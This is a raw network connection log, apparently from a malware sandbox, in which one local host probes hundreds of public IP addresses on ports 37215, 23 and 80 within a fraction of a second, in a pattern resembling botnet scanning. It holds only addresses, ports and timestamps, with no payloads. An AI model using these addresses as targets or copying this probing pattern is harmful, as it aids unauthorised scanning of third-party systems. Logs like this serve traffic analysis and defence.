Oct 17, 2024 02:19:45.131162882 CEST	20644	37215	192.168.2.14	156.243.57.170
Oct 17, 2024 02:19:45.131162882 CEST	20644	37215	192.168.2.14	156.237.57.172
Oct 17, 2024 02:19:45.131165028 CEST	20644	37215	192.168.2.14	41.150.206.98
Oct 17, 2024 02:19:45.131165028 CEST	20644	37215	192.168.2.14	156.128.187.126
Oct 17, 2024 02:19:45.131165028 CEST	20644	37215	192.168.2.14	156.53.212.66
Oct 17, 2024 02:19:45.131165028 CEST	20644	37215	192.168.2.14	156.109.208.22
Oct 17, 2024 02:19:45.131184101 CEST	20644	37215	192.168.2.14	41.135.159.21
Oct 17, 2024 02:19:45.131189108 CEST	20644	37215	192.168.2.14	197.110.157.230
Oct 17, 2024 02:19:45.131189108 CEST	20644	37215	192.168.2.14	156.255.9.1
Oct 17, 2024 02:19:45.131192923 CEST	20644	37215	192.168.2.14	156.233.201.39
Oct 17, 2024 02:19:45.131217003 CEST	20644	37215	192.168.2.14	41.30.119.60
Oct 17, 2024 02:19:45.131221056 CEST	20644	37215	192.168.2.14	197.87.20.175
Oct 17, 2024 02:19:45.131221056 CEST	20644	37215	192.168.2.14	156.55.175.15
Oct 17, 2024 02:19:45.131223917 CEST	20644	37215	192.168.2.14	197.6.120.117
Oct 17, 2024 02:19:45.131228924 CEST	20644	37215	192.168.2.14	41.129.251.190
Oct 17, 2024 02:19:45.131228924 CEST	20644	37215	192.168.2.14	41.93.21.80
Oct 17, 2024 02:19:45.131241083 CEST	20644	37215	192.168.2.14	41.74.156.237
Oct 17, 2024 02:19:45.131247044 CEST	20644	37215	192.168.2.14	197.142.194.9
Oct 17, 2024 02:19:45.131258965 CEST	20644	37215	192.168.2.14	41.241.144.141
Oct 17, 2024 02:19:45.131263018 CEST	20644	37215	192.168.2.14	41.3.69.97
Oct 17, 2024 02:19:45.131283045 CEST	20644	37215	192.168.2.14	197.187.58.13
Oct 17, 2024 02:19:45.131299019 CEST	20644	37215	192.168.2.14	197.110.113.130
Oct 17, 2024 02:19:45.131309032 CEST	20644	37215	192.168.2.14	41.141.89.109
Oct 17, 2024 02:19:45.131314039 CEST	20644	37215	192.168.2.14	156.68.54.46
Oct 17, 2024 02:19:45.131335974 CEST	20644	37215	192.168.2.14	41.208.190.85
Oct 17, 2024 02:19:45.131335974 CEST	20644	37215	192.168.2.14	156.143.89.156
Oct 17, 2024 02:19:45.131335974 CEST	20644	37215	192.168.2.14	41.77.81.250
Oct 17, 2024 02:19:45.131335974 CEST	20644	37215	192.168.2.14	41.54.124.249
Oct 17, 2024 02:19:45.131346941 CEST	20644	37215	192.168.2.14	197.16.30.81
Oct 17, 2024 02:19:45.131356955 CEST	20644	37215	192.168.2.14	156.77.223.231
Oct 17, 2024 02:19:45.131357908 CEST	20644	37215	192.168.2.14	41.102.108.163
Oct 17, 2024 02:19:45.131359100 CEST	20644	37215	192.168.2.14	197.251.39.251
Oct 17, 2024 02:19:45.131357908 CEST	20644	37215	192.168.2.14	156.200.174.200
Oct 17, 2024 02:19:45.131365061 CEST	20644	37215	192.168.2.14	197.77.28.185
Oct 17, 2024 02:19:45.131365061 CEST	20644	37215	192.168.2.14	156.247.200.192
Oct 17, 2024 02:19:45.131371021 CEST	20644	37215	192.168.2.14	41.174.22.229
Oct 17, 2024 02:19:45.131393909 CEST	20644	37215	192.168.2.14	197.152.235.225
Oct 17, 2024 02:19:45.131412029 CEST	20644	37215	192.168.2.14	156.190.109.38
Oct 17, 2024 02:19:45.131412983 CEST	20644	37215	192.168.2.14	197.45.73.236
Oct 17, 2024 02:19:45.131412983 CEST	20644	37215	192.168.2.14	156.62.79.80
Oct 17, 2024 02:19:45.131419897 CEST	20644	37215	192.168.2.14	156.142.67.219
Oct 17, 2024 02:19:45.131421089 CEST	20644	37215	192.168.2.14	197.42.22.77
Oct 17, 2024 02:19:45.131426096 CEST	20644	37215	192.168.2.14	156.75.180.58
Oct 17, 2024 02:19:45.131449938 CEST	20644	37215	192.168.2.14	156.237.195.48
Oct 17, 2024 02:19:45.131455898 CEST	20644	37215	192.168.2.14	197.39.201.245
Oct 17, 2024 02:19:45.131455898 CEST	20644	37215	192.168.2.14	156.141.206.106
Oct 17, 2024 02:19:45.131464958 CEST	20644	37215	192.168.2.14	41.106.74.198
Oct 17, 2024 02:19:45.131464958 CEST	20644	37215	192.168.2.14	156.142.174.66
Oct 17, 2024 02:19:45.131464958 CEST	20644	37215	192.168.2.14	197.65.51.151
Oct 17, 2024 02:19:45.131473064 CEST	20644	37215	192.168.2.14	197.232.113.80
Oct 17, 2024 02:19:45.131474018 CEST	20644	37215	192.168.2.14	156.124.108.184
Oct 17, 2024 02:19:45.131474972 CEST	20644	37215	192.168.2.14	197.44.166.54
Oct 17, 2024 02:19:45.131481886 CEST	20644	37215	192.168.2.14	156.244.154.102
Oct 17, 2024 02:19:45.131481886 CEST	20644	37215	192.168.2.14	41.208.130.60
Oct 17, 2024 02:19:45.131504059 CEST	20644	37215	192.168.2.14	41.191.179.180
Oct 17, 2024 02:19:45.131508112 CEST	20644	37215	192.168.2.14	197.222.56.82
Oct 17, 2024 02:19:45.131525040 CEST	20644	37215	192.168.2.14	41.255.38.83
Oct 17, 2024 02:19:45.131525993 CEST	20644	37215	192.168.2.14	197.245.216.15
Oct 17, 2024 02:19:45.131546021 CEST	20644	37215	192.168.2.14	197.13.162.69
Oct 17, 2024 02:19:45.131546974 CEST	20644	37215	192.168.2.14	156.230.160.115
Oct 17, 2024 02:19:45.131550074 CEST	20644	37215	192.168.2.14	41.141.184.69
Oct 17, 2024 02:19:45.131553888 CEST	20644	37215	192.168.2.14	41.253.208.26
Oct 17, 2024 02:19:45.131561041 CEST	20644	37215	192.168.2.14	41.171.101.116
Oct 17, 2024 02:19:45.131561041 CEST	20644	37215	192.168.2.14	41.182.236.155
Oct 17, 2024 02:19:45.131566048 CEST	20644	37215	192.168.2.14	197.164.238.164
Oct 17, 2024 02:19:45.131568909 CEST	20644	37215	192.168.2.14	41.87.62.102
Oct 17, 2024 02:19:45.131568909 CEST	20644	37215	192.168.2.14	41.192.145.210
Oct 17, 2024 02:19:45.131568909 CEST	20644	37215	192.168.2.14	197.116.190.18
Oct 17, 2024 02:19:45.131568909 CEST	20644	37215	192.168.2.14	197.2.167.125
Oct 17, 2024 02:19:45.131568909 CEST	20644	37215	192.168.2.14	197.190.246.64
Oct 17, 2024 02:19:45.131568909 CEST	20644	37215	192.168.2.14	41.113.6.81
Oct 17, 2024 02:19:45.131568909 CEST	20644	37215	192.168.2.14	156.83.169.133
Oct 17, 2024 02:19:45.131578922 CEST	20644	37215	192.168.2.14	156.143.219.172
Oct 17, 2024 02:19:45.131578922 CEST	20644	37215	192.168.2.14	156.102.239.157
Oct 17, 2024 02:19:45.131592989 CEST	20644	37215	192.168.2.14	197.28.118.166
Oct 17, 2024 02:19:45.131593943 CEST	20644	37215	192.168.2.14	156.126.5.168
Oct 17, 2024 02:19:45.131767035 CEST	39894	37215	192.168.2.14	197.144.202.170
Oct 17, 2024 02:19:45.131767035 CEST	39894	37215	192.168.2.14	197.144.202.170
Oct 17, 2024 02:19:45.132687092 CEST	41096	37215	192.168.2.14	197.144.202.170
Oct 17, 2024 02:19:45.135050058 CEST	37215	20644	197.223.27.223	192.168.2.14
Oct 17, 2024 02:19:45.135066986 CEST	37215	20644	41.244.101.219	192.168.2.14
Oct 17, 2024 02:19:45.135090113 CEST	37215	20644	197.196.241.77	192.168.2.14
Oct 17, 2024 02:19:45.135102034 CEST	37215	48096	197.142.233.40	192.168.2.14
Oct 17, 2024 02:19:45.135108948 CEST	20644	37215	192.168.2.14	197.223.27.223
Oct 17, 2024 02:19:45.135113001 CEST	37215	59896	41.61.10.200	192.168.2.14
Oct 17, 2024 02:19:45.135122061 CEST	20644	37215	192.168.2.14	41.244.101.219
Oct 17, 2024 02:19:45.135123014 CEST	20644	37215	192.168.2.14	197.196.241.77
Oct 17, 2024 02:19:45.135564089 CEST	37215	20644	41.255.64.17	192.168.2.14
Oct 17, 2024 02:19:45.135576963 CEST	37215	20644	156.180.112.46	192.168.2.14
Oct 17, 2024 02:19:45.135591984 CEST	37215	20644	41.27.133.111	192.168.2.14
Oct 17, 2024 02:19:45.135603905 CEST	37215	20644	41.111.11.36	192.168.2.14
Oct 17, 2024 02:19:45.135612965 CEST	37215	20644	41.218.100.231	192.168.2.14
Oct 17, 2024 02:19:45.135622978 CEST	20644	37215	192.168.2.14	156.180.112.46
Oct 17, 2024 02:19:45.135622978 CEST	20644	37215	192.168.2.14	41.255.64.17
Oct 17, 2024 02:19:45.135637999 CEST	20644	37215	192.168.2.14	41.27.133.111
Oct 17, 2024 02:19:45.135654926 CEST	20644	37215	192.168.2.14	41.111.11.36
Oct 17, 2024 02:19:45.135654926 CEST	20644	37215	192.168.2.14	41.218.100.231
Oct 17, 2024 02:19:45.135735035 CEST	37215	20644	197.22.184.90	192.168.2.14
Oct 17, 2024 02:19:45.135746956 CEST	37215	20644	41.106.34.9	192.168.2.14
Oct 17, 2024 02:19:45.135766029 CEST	37215	20644	197.108.22.112	192.168.2.14
Oct 17, 2024 02:19:45.135777950 CEST	37215	20644	197.163.195.109	192.168.2.14
Oct 17, 2024 02:19:45.135783911 CEST	20644	37215	192.168.2.14	41.106.34.9
Oct 17, 2024 02:19:45.135791063 CEST	37215	20644	156.122.104.64	192.168.2.14
Oct 17, 2024 02:19:45.135791063 CEST	20644	37215	192.168.2.14	197.22.184.90
Oct 17, 2024 02:19:45.135802984 CEST	37215	20644	41.79.247.129	192.168.2.14
Oct 17, 2024 02:19:45.135813951 CEST	37215	20644	156.131.117.182	192.168.2.14
Oct 17, 2024 02:19:45.135821104 CEST	20644	37215	192.168.2.14	156.122.104.64
Oct 17, 2024 02:19:45.135822058 CEST	20644	37215	192.168.2.14	197.108.22.112
Oct 17, 2024 02:19:45.135823011 CEST	20644	37215	192.168.2.14	197.163.195.109
Oct 17, 2024 02:19:45.135824919 CEST	37215	20644	41.151.141.155	192.168.2.14
Oct 17, 2024 02:19:45.135835886 CEST	37215	20644	156.38.156.73	192.168.2.14
Oct 17, 2024 02:19:45.135843039 CEST	20644	37215	192.168.2.14	156.131.117.182
Oct 17, 2024 02:19:45.135848045 CEST	37215	20644	156.181.211.122	192.168.2.14
Oct 17, 2024 02:19:45.135849953 CEST	20644	37215	192.168.2.14	41.79.247.129
Oct 17, 2024 02:19:45.135853052 CEST	20644	37215	192.168.2.14	41.151.141.155
Oct 17, 2024 02:19:45.135859013 CEST	37215	20644	41.255.43.44	192.168.2.14
Oct 17, 2024 02:19:45.135885000 CEST	20644	37215	192.168.2.14	156.38.156.73
Oct 17, 2024 02:19:45.135885000 CEST	37215	20644	197.207.80.3	192.168.2.14
Oct 17, 2024 02:19:45.135895967 CEST	37215	20644	156.86.247.169	192.168.2.14
Oct 17, 2024 02:19:45.135906935 CEST	37215	20644	156.247.50.249	192.168.2.14
Oct 17, 2024 02:19:45.135910034 CEST	20644	37215	192.168.2.14	156.181.211.122
Oct 17, 2024 02:19:45.135917902 CEST	37215	20644	41.202.126.139	192.168.2.14
Oct 17, 2024 02:19:45.135919094 CEST	20644	37215	192.168.2.14	41.255.43.44
Oct 17, 2024 02:19:45.135930061 CEST	37215	20644	197.255.60.156	192.168.2.14
Oct 17, 2024 02:19:45.135934114 CEST	20644	37215	192.168.2.14	197.207.80.3
Oct 17, 2024 02:19:45.135934114 CEST	20644	37215	192.168.2.14	156.86.247.169
Oct 17, 2024 02:19:45.135942936 CEST	37215	20644	197.173.149.57	192.168.2.14
Oct 17, 2024 02:19:45.135952950 CEST	37215	20644	41.209.69.201	192.168.2.14
Oct 17, 2024 02:19:45.135953903 CEST	20644	37215	192.168.2.14	156.247.50.249
Oct 17, 2024 02:19:45.135962009 CEST	20644	37215	192.168.2.14	41.202.126.139
Oct 17, 2024 02:19:45.135963917 CEST	37215	20644	156.241.180.10	192.168.2.14
Oct 17, 2024 02:19:45.135967970 CEST	20644	37215	192.168.2.14	197.255.60.156
Oct 17, 2024 02:19:45.135976076 CEST	37215	20644	41.2.165.91	192.168.2.14
Oct 17, 2024 02:19:45.135979891 CEST	20644	37215	192.168.2.14	197.173.149.57
Oct 17, 2024 02:19:45.135986090 CEST	37215	20644	156.150.26.154	192.168.2.14
Oct 17, 2024 02:19:45.135988951 CEST	20644	37215	192.168.2.14	41.209.69.201
Oct 17, 2024 02:19:45.135998964 CEST	20644	37215	192.168.2.14	156.241.180.10
Oct 17, 2024 02:19:45.136002064 CEST	37215	20644	197.116.92.11	192.168.2.14
Oct 17, 2024 02:19:45.136007071 CEST	37215	20644	41.115.118.32	192.168.2.14
Oct 17, 2024 02:19:45.136017084 CEST	37215	48096	197.142.233.40	192.168.2.14
Oct 17, 2024 02:19:45.136028051 CEST	20644	37215	192.168.2.14	156.150.26.154
Oct 17, 2024 02:19:45.136028051 CEST	20644	37215	192.168.2.14	197.116.92.11
Oct 17, 2024 02:19:45.136042118 CEST	20644	37215	192.168.2.14	41.115.118.32
Oct 17, 2024 02:19:45.136074066 CEST	48096	37215	192.168.2.14	197.142.233.40
Oct 17, 2024 02:19:45.136101007 CEST	37215	59896	41.61.10.200	192.168.2.14
Oct 17, 2024 02:19:45.136113882 CEST	20644	37215	192.168.2.14	41.2.165.91
Oct 17, 2024 02:19:45.136146069 CEST	59896	37215	192.168.2.14	41.61.10.200
Oct 17, 2024 02:19:45.137406111 CEST	37215	39894	197.144.202.170	192.168.2.14
Oct 17, 2024 02:19:45.155713081 CEST	49324	23	192.168.2.14	156.185.168.182
Oct 17, 2024 02:19:45.155713081 CEST	47070	37215	192.168.2.14	41.167.85.71
Oct 17, 2024 02:19:45.155714989 CEST	46712	37215	192.168.2.14	197.16.66.225
Oct 17, 2024 02:19:45.155718088 CEST	47110	80	192.168.2.14	113.128.194.225
Oct 17, 2024 02:19:45.160542011 CEST	80	47110	113.128.194.225	192.168.2.14
Oct 17, 2024 02:19:45.160557032 CEST	23	49324	156.185.168.182	192.168.2.14
Oct 17, 2024 02:19:45.160602093 CEST	47110	80	192.168.2.14	113.128.194.225
Oct 17, 2024 02:19:45.160640001 CEST	49324	23	192.168.2.14	156.185.168.182
Oct 17, 2024 02:19:45.160742044 CEST	20632	23	192.168.2.14	36.245.209.195
Oct 17, 2024 02:19:45.160768986 CEST	20632	23	192.168.2.14	66.252.105.129
Oct 17, 2024 02:19:45.160773039 CEST	20632	23	192.168.2.14	101.96.213.42
Oct 17, 2024 02:19:45.160773993 CEST	20646	80	192.168.2.14	171.242.167.226
Oct 17, 2024 02:19:45.160773993 CEST	20632	23	192.168.2.14	157.161.202.172
Oct 17, 2024 02:19:45.160783052 CEST	20632	23	192.168.2.14	159.187.150.34
Oct 17, 2024 02:19:45.160783052 CEST	20646	80	192.168.2.14	163.177.214.17
Oct 17, 2024 02:19:45.160783052 CEST	20646	80	192.168.2.14	159.111.248.160
Oct 17, 2024 02:19:45.160785913 CEST	20632	23	192.168.2.14	111.50.128.188
Oct 17, 2024 02:19:45.160785913 CEST	20632	23	192.168.2.14	145.100.179.67
Oct 17, 2024 02:19:45.160785913 CEST	20632	23	192.168.2.14	36.16.172.60
Oct 17, 2024 02:19:45.160785913 CEST	20632	23	192.168.2.14	201.3.34.115
Oct 17, 2024 02:19:45.160785913 CEST	20646	80	192.168.2.14	122.61.222.48
Oct 17, 2024 02:19:45.160785913 CEST	20632	23	192.168.2.14	133.73.67.186
Oct 17, 2024 02:19:45.160792112 CEST	20632	23	192.168.2.14	157.41.82.104
Oct 17, 2024 02:19:45.160792112 CEST	20632	23	192.168.2.14	42.131.244.85
Oct 17, 2024 02:19:45.160792112 CEST	20632	23	192.168.2.14	120.6.247.146
Oct 17, 2024 02:19:45.160792112 CEST	20632	23	192.168.2.14	182.150.160.223
Oct 17, 2024 02:19:45.160800934 CEST	20646	80	192.168.2.14	47.182.206.230
Oct 17, 2024 02:19:45.160803080 CEST	20646	80	192.168.2.14	142.131.223.9
Oct 17, 2024 02:19:45.160805941 CEST	20632	23	192.168.2.14	139.55.96.220
Oct 17, 2024 02:19:45.160806894 CEST	20632	23	192.168.2.14	99.126.116.143
Oct 17, 2024 02:19:45.160806894 CEST	20646	80	192.168.2.14	57.205.127.199
Oct 17, 2024 02:19:45.160806894 CEST	20632	23	192.168.2.14	198.187.42.79
Oct 17, 2024 02:19:45.160810947 CEST	20632	23	192.168.2.14	24.191.98.188
Oct 17, 2024 02:19:45.160810947 CEST	20646	80	192.168.2.14	216.74.108.1
Oct 17, 2024 02:19:45.160810947 CEST	20646	80	192.168.2.14	115.5.202.120
Oct 17, 2024 02:19:45.160810947 CEST	20632	23	192.168.2.14	71.126.237.184
Oct 17, 2024 02:19:45.160810947 CEST	20632	23	192.168.2.14	76.78.174.239
Oct 17, 2024 02:19:45.160810947 CEST	20646	80	192.168.2.14	169.222.36.254
Oct 17, 2024 02:19:45.160825968 CEST	20632	23	192.168.2.14	20.193.187.120
Oct 17, 2024 02:19:45.160825968 CEST	20646	80	192.168.2.14	175.120.71.104
Oct 17, 2024 02:19:45.160825968 CEST	20646	80	192.168.2.14	123.19.82.125
Oct 17, 2024 02:19:45.160825968 CEST	20646	80	192.168.2.14	46.18.155.218
Oct 17, 2024 02:19:45.160825968 CEST	20646	80	192.168.2.14	154.243.149.57
Oct 17, 2024 02:19:45.160832882 CEST	20632	23	192.168.2.14	42.14.173.215
Oct 17, 2024 02:19:45.160832882 CEST	20646	80	192.168.2.14	187.98.148.58
Oct 17, 2024 02:19:45.160832882 CEST	20632	23	192.168.2.14	39.167.136.53
Oct 17, 2024 02:19:45.160832882 CEST	20632	23	192.168.2.14	198.49.86.23
Oct 17, 2024 02:19:45.160836935 CEST	20646	80	192.168.2.14	160.199.242.198
Oct 17, 2024 02:19:45.160836935 CEST	20632	23	192.168.2.14	61.43.183.11
Oct 17, 2024 02:19:45.160836935 CEST	20632	23	192.168.2.14	139.196.238.226
Oct 17, 2024 02:19:45.160828114 CEST	20632	23	192.168.2.14	57.57.213.41
Oct 17, 2024 02:19:45.160840034 CEST	20632	23	192.168.2.14	62.212.45.245
Oct 17, 2024 02:19:45.160840034 CEST	20632	23	192.168.2.14	18.153.167.152
Oct 17, 2024 02:19:45.160840988 CEST	20632	23	192.168.2.14	62.72.9.240
Oct 17, 2024 02:19:45.160840988 CEST	20632	23	192.168.2.14	217.209.49.84
Oct 17, 2024 02:19:45.160840988 CEST	20646	80	192.168.2.14	82.218.154.81
Oct 17, 2024 02:19:45.160840988 CEST	20646	80	192.168.2.14	105.184.215.214
Oct 17, 2024 02:19:45.160828114 CEST	20646	80	192.168.2.14	125.66.44.240
Oct 17, 2024 02:19:45.160835981 CEST	20632	23	192.168.2.14	36.50.226.186
Oct 17, 2024 02:19:45.160835981 CEST	20632	23	192.168.2.14	110.102.175.18
Oct 17, 2024 02:19:45.160835981 CEST	20646	80	192.168.2.14	86.149.34.35
Oct 17, 2024 02:19:45.160835981 CEST	20632	23	192.168.2.14	119.86.86.214
Oct 17, 2024 02:19:45.160859108 CEST	20632	23	192.168.2.14	217.160.206.171
Oct 17, 2024 02:19:45.160861969 CEST	20646	80	192.168.2.14	210.173.34.209
Oct 17, 2024 02:19:45.160861969 CEST	20632	23	192.168.2.14	1.151.167.15
Oct 17, 2024 02:19:45.160861969 CEST	20646	80	192.168.2.14	114.187.156.54
Oct 17, 2024 02:19:45.160861969 CEST	20646	80	192.168.2.14	116.98.42.63
Oct 17, 2024 02:19:45.160861969 CEST	20646	80	192.168.2.14	99.246.122.109
Oct 17, 2024 02:19:45.160866022 CEST	20646	80	192.168.2.14	39.124.177.205
Oct 17, 2024 02:19:45.160866976 CEST	20632	23	192.168.2.14	220.156.87.15
Oct 17, 2024 02:19:45.160866976 CEST	20646	80	192.168.2.14	199.233.241.162
Oct 17, 2024 02:19:45.160871983 CEST	20632	23	192.168.2.14	124.110.14.188
Oct 17, 2024 02:19:45.160871983 CEST	20632	23	192.168.2.14	205.52.42.241
Oct 17, 2024 02:19:45.160871983 CEST	20632	23	192.168.2.14	59.204.199.155
Oct 17, 2024 02:19:45.160871983 CEST	20632	23	192.168.2.14	97.97.230.242
Oct 17, 2024 02:19:45.160871983 CEST	20646	80	192.168.2.14	121.139.108.236
Oct 17, 2024 02:19:45.160873890 CEST	20646	80	192.168.2.14	180.229.74.211
Oct 17, 2024 02:19:45.160873890 CEST	20632	23	192.168.2.14	134.250.61.10
Oct 17, 2024 02:19:45.160875082 CEST	20646	80	192.168.2.14	192.119.232.201
Oct 17, 2024 02:19:45.160875082 CEST	20632	23	192.168.2.14	205.246.147.38
Oct 17, 2024 02:19:45.160877943 CEST	20632	23	192.168.2.14	86.140.195.251
Oct 17, 2024 02:19:45.160883904 CEST	20632	23	192.168.2.14	164.220.110.40
Oct 17, 2024 02:19:45.160883904 CEST	20632	23	192.168.2.14	42.158.177.252
Oct 17, 2024 02:19:45.160887957 CEST	20632	23	192.168.2.14	196.64.150.201
Oct 17, 2024 02:19:45.160887957 CEST	20646	80	192.168.2.14	178.39.184.84
Oct 17, 2024 02:19:45.160887957 CEST	20632	23	192.168.2.14	135.146.155.131
Oct 17, 2024 02:19:45.160887957 CEST	20632	23	192.168.2.14	125.167.106.116
Oct 17, 2024 02:19:45.160890102 CEST	20632	23	192.168.2.14	81.204.0.94
Oct 17, 2024 02:19:45.160890102 CEST	20646	80	192.168.2.14	69.210.1.120
Oct 17, 2024 02:19:45.160890102 CEST	20646	80	192.168.2.14	189.102.127.241
Oct 17, 2024 02:19:45.160890102 CEST	20632	23	192.168.2.14	63.191.68.244
Oct 17, 2024 02:19:45.160890102 CEST	20646	80	192.168.2.14	175.107.231.15
Oct 17, 2024 02:19:45.160890102 CEST	20632	23	192.168.2.14	94.246.22.113
Oct 17, 2024 02:19:45.160890102 CEST	20632	23	192.168.2.14	158.17.140.167
Oct 17, 2024 02:19:45.160890102 CEST	20646	80	192.168.2.14	151.75.238.158
Oct 17, 2024 02:19:45.160890102 CEST	20632	23	192.168.2.14	13.28.200.229
Oct 17, 2024 02:19:45.160902977 CEST	20646	80	192.168.2.14	160.108.11.132
Oct 17, 2024 02:19:45.160909891 CEST	20632	23	192.168.2.14	158.145.241.88
Oct 17, 2024 02:19:45.160909891 CEST	20632	23	192.168.2.14	61.36.146.250
Oct 17, 2024 02:19:45.160909891 CEST	20632	23	192.168.2.14	209.189.183.20
Oct 17, 2024 02:19:45.160909891 CEST	20632	23	192.168.2.14	77.25.252.66
Oct 17, 2024 02:19:45.160909891 CEST	20646	80	192.168.2.14	66.149.86.51
Oct 17, 2024 02:19:45.160909891 CEST	20632	23	192.168.2.14	64.218.158.19
Oct 17, 2024 02:19:45.160912991 CEST	20632	23	192.168.2.14	165.102.234.127
Oct 17, 2024 02:19:45.160912991 CEST	20632	23	192.168.2.14	182.172.158.78
Oct 17, 2024 02:19:45.160912991 CEST	20646	80	192.168.2.14	219.101.107.157
Oct 17, 2024 02:19:45.160916090 CEST	20646	80	192.168.2.14	36.161.200.11
Oct 17, 2024 02:19:45.160916090 CEST	20632	23	192.168.2.14	45.72.227.254
Oct 17, 2024 02:19:45.160917997 CEST	20632	23	192.168.2.14	80.208.174.109
Oct 17, 2024 02:19:45.160916090 CEST	20632	23	192.168.2.14	63.18.185.212
Oct 17, 2024 02:19:45.160919905 CEST	20632	23	192.168.2.14	100.143.154.153
Oct 17, 2024 02:19:45.160916090 CEST	20632	23	192.168.2.14	9.88.102.89
Oct 17, 2024 02:19:45.160919905 CEST	20632	23	192.168.2.14	208.154.92.30
Oct 17, 2024 02:19:45.160921097 CEST	20646	80	192.168.2.14	140.243.232.159
Oct 17, 2024 02:19:45.160919905 CEST	20632	23	192.168.2.14	25.115.87.32
Oct 17, 2024 02:19:45.160923958 CEST	20632	23	192.168.2.14	53.101.178.219
Oct 17, 2024 02:19:45.160919905 CEST	20632	23	192.168.2.14	212.15.162.124
Oct 17, 2024 02:19:45.160921097 CEST	20632	23	192.168.2.14	24.34.69.203
Oct 17, 2024 02:19:45.160928965 CEST	20632	23	192.168.2.14	206.222.19.157
Oct 17, 2024 02:19:45.160916090 CEST	20646	80	192.168.2.14	19.223.254.138
Oct 17, 2024 02:19:45.160928965 CEST	20646	80	192.168.2.14	176.248.86.171
Oct 17, 2024 02:19:45.160916090 CEST	20646	80	192.168.2.14	18.64.161.83
Oct 17, 2024 02:19:45.160933018 CEST	20646	80	192.168.2.14	139.96.239.105
Oct 17, 2024 02:19:45.160916090 CEST	20646	80	192.168.2.14	159.194.97.236
Oct 17, 2024 02:19:45.160936117 CEST	20632	23	192.168.2.14	19.22.92.227
Oct 17, 2024 02:19:45.160933971 CEST	20646	80	192.168.2.14	185.253.109.53
Oct 17, 2024 02:19:45.160936117 CEST	20632	23	192.168.2.14	154.249.218.7
Oct 17, 2024 02:19:45.160936117 CEST	20646	80	192.168.2.14	114.87.6.36
Oct 17, 2024 02:19:45.160940886 CEST	20632	23	192.168.2.14	160.83.169.55
Oct 17, 2024 02:19:45.160940886 CEST	20646	80	192.168.2.14	17.102.7.248
Oct 17, 2024 02:19:45.160943031 CEST	20632	23	192.168.2.14	129.215.148.8
Oct 17, 2024 02:19:45.160944939 CEST	20646	80	192.168.2.14	24.225.29.92
Oct 17, 2024 02:19:45.160954952 CEST	20646	80	192.168.2.14	44.158.111.243
Oct 17, 2024 02:19:45.160955906 CEST	20646	80	192.168.2.14	58.33.226.215
Oct 17, 2024 02:19:45.160954952 CEST	20632	23	192.168.2.14	125.95.37.4
Oct 17, 2024 02:19:45.160960913 CEST	20632	23	192.168.2.14	208.98.131.128
Oct 17, 2024 02:19:45.160960913 CEST	20646	80	192.168.2.14	50.95.150.97
Oct 17, 2024 02:19:45.160960913 CEST	20632	23	192.168.2.14	43.15.198.77
Oct 17, 2024 02:19:45.160962105 CEST	20632	23	192.168.2.14	44.20.64.215
Oct 17, 2024 02:19:45.160960913 CEST	20632	23	192.168.2.14	24.145.202.63
Oct 17, 2024 02:19:45.160963058 CEST	20632	23	192.168.2.14	209.140.6.78
Oct 17, 2024 02:19:45.160967112 CEST	20646	80	192.168.2.14	90.62.31.113
Oct 17, 2024 02:19:45.160963058 CEST	20646	80	192.168.2.14	206.55.72.243
Oct 17, 2024 02:19:45.160967112 CEST	20632	23	192.168.2.14	132.68.114.151
Oct 17, 2024 02:19:45.160972118 CEST	20632	23	192.168.2.14	201.64.76.34
Oct 17, 2024 02:19:45.160976887 CEST	20632	23	192.168.2.14	58.138.117.154
Oct 17, 2024 02:19:45.160978079 CEST	20646	80	192.168.2.14	87.27.170.93
Oct 17, 2024 02:19:45.160979033 CEST	20632	23	192.168.2.14	85.186.33.147
Oct 17, 2024 02:19:45.160978079 CEST	20646	80	192.168.2.14	149.44.7.107
Oct 17, 2024 02:19:45.160979033 CEST	20632	23	192.168.2.14	150.15.139.190
Oct 17, 2024 02:19:45.160990000 CEST	20632	23	192.168.2.14	96.186.109.234
Oct 17, 2024 02:19:45.160993099 CEST	20646	80	192.168.2.14	71.229.10.203
Oct 17, 2024 02:19:45.161006927 CEST	20646	80	192.168.2.14	152.10.153.25
Oct 17, 2024 02:19:45.161012888 CEST	20632	23	192.168.2.14	39.64.108.248
Oct 17, 2024 02:19:45.161012888 CEST	20632	23	192.168.2.14	126.230.236.91
Oct 17, 2024 02:19:45.161014080 CEST	20632	23	192.168.2.14	71.225.189.180
Oct 17, 2024 02:19:45.161014080 CEST	20632	23	192.168.2.14	41.198.75.10
Oct 17, 2024 02:19:45.161014080 CEST	20632	23	192.168.2.14	91.10.34.50
Oct 17, 2024 02:19:45.161014080 CEST	20632	23	192.168.2.14	84.171.154.182
Oct 17, 2024 02:19:45.161014080 CEST	20632	23	192.168.2.14	67.88.196.164
Oct 17, 2024 02:19:45.161014080 CEST	20646	80	192.168.2.14	167.188.75.254
Oct 17, 2024 02:19:45.161034107 CEST	20632	23	192.168.2.14	153.120.92.148
Oct 17, 2024 02:19:45.161034107 CEST	20632	23	192.168.2.14	58.97.181.202
Oct 17, 2024 02:19:45.161034107 CEST	20632	23	192.168.2.14	161.126.217.167
Oct 17, 2024 02:19:45.161036015 CEST	20646	80	192.168.2.14	40.187.62.14
Oct 17, 2024 02:19:45.161036015 CEST	20632	23	192.168.2.14	150.11.65.54
Oct 17, 2024 02:19:45.161043882 CEST	20632	23	192.168.2.14	178.101.117.32
Oct 17, 2024 02:19:45.161043882 CEST	20646	80	192.168.2.14	72.206.173.27
Oct 17, 2024 02:19:45.161056995 CEST	20632	23	192.168.2.14	84.119.236.115
Oct 17, 2024 02:19:45.161056995 CEST	20632	23	192.168.2.14	179.249.253.83
Oct 17, 2024 02:19:45.161056995 CEST	20632	23	192.168.2.14	89.206.29.224
Oct 17, 2024 02:19:45.161056995 CEST	20646	80	192.168.2.14	196.223.35.146
Oct 17, 2024 02:19:45.161056995 CEST	20646	80	192.168.2.14	128.83.1.134
Oct 17, 2024 02:19:45.161056995 CEST	20632	23	192.168.2.14	36.56.6.234
Oct 17, 2024 02:19:45.161056995 CEST	20646	80	192.168.2.14	32.65.64.106
Oct 17, 2024 02:19:45.161056995 CEST	20632	23	192.168.2.14	132.33.209.39
Oct 17, 2024 02:19:45.161063910 CEST	20632	23	192.168.2.14	45.248.167.214
Oct 17, 2024 02:19:45.161063910 CEST	20632	23	192.168.2.14	159.44.161.79
Oct 17, 2024 02:19:45.161063910 CEST	20646	80	192.168.2.14	216.135.247.35
Oct 17, 2024 02:19:45.161063910 CEST	20646	80	192.168.2.14	79.179.145.98
Oct 17, 2024 02:19:45.161065102 CEST	20632	23	192.168.2.14	176.22.245.88
Oct 17, 2024 02:19:45.161063910 CEST	20632	23	192.168.2.14	47.220.246.133
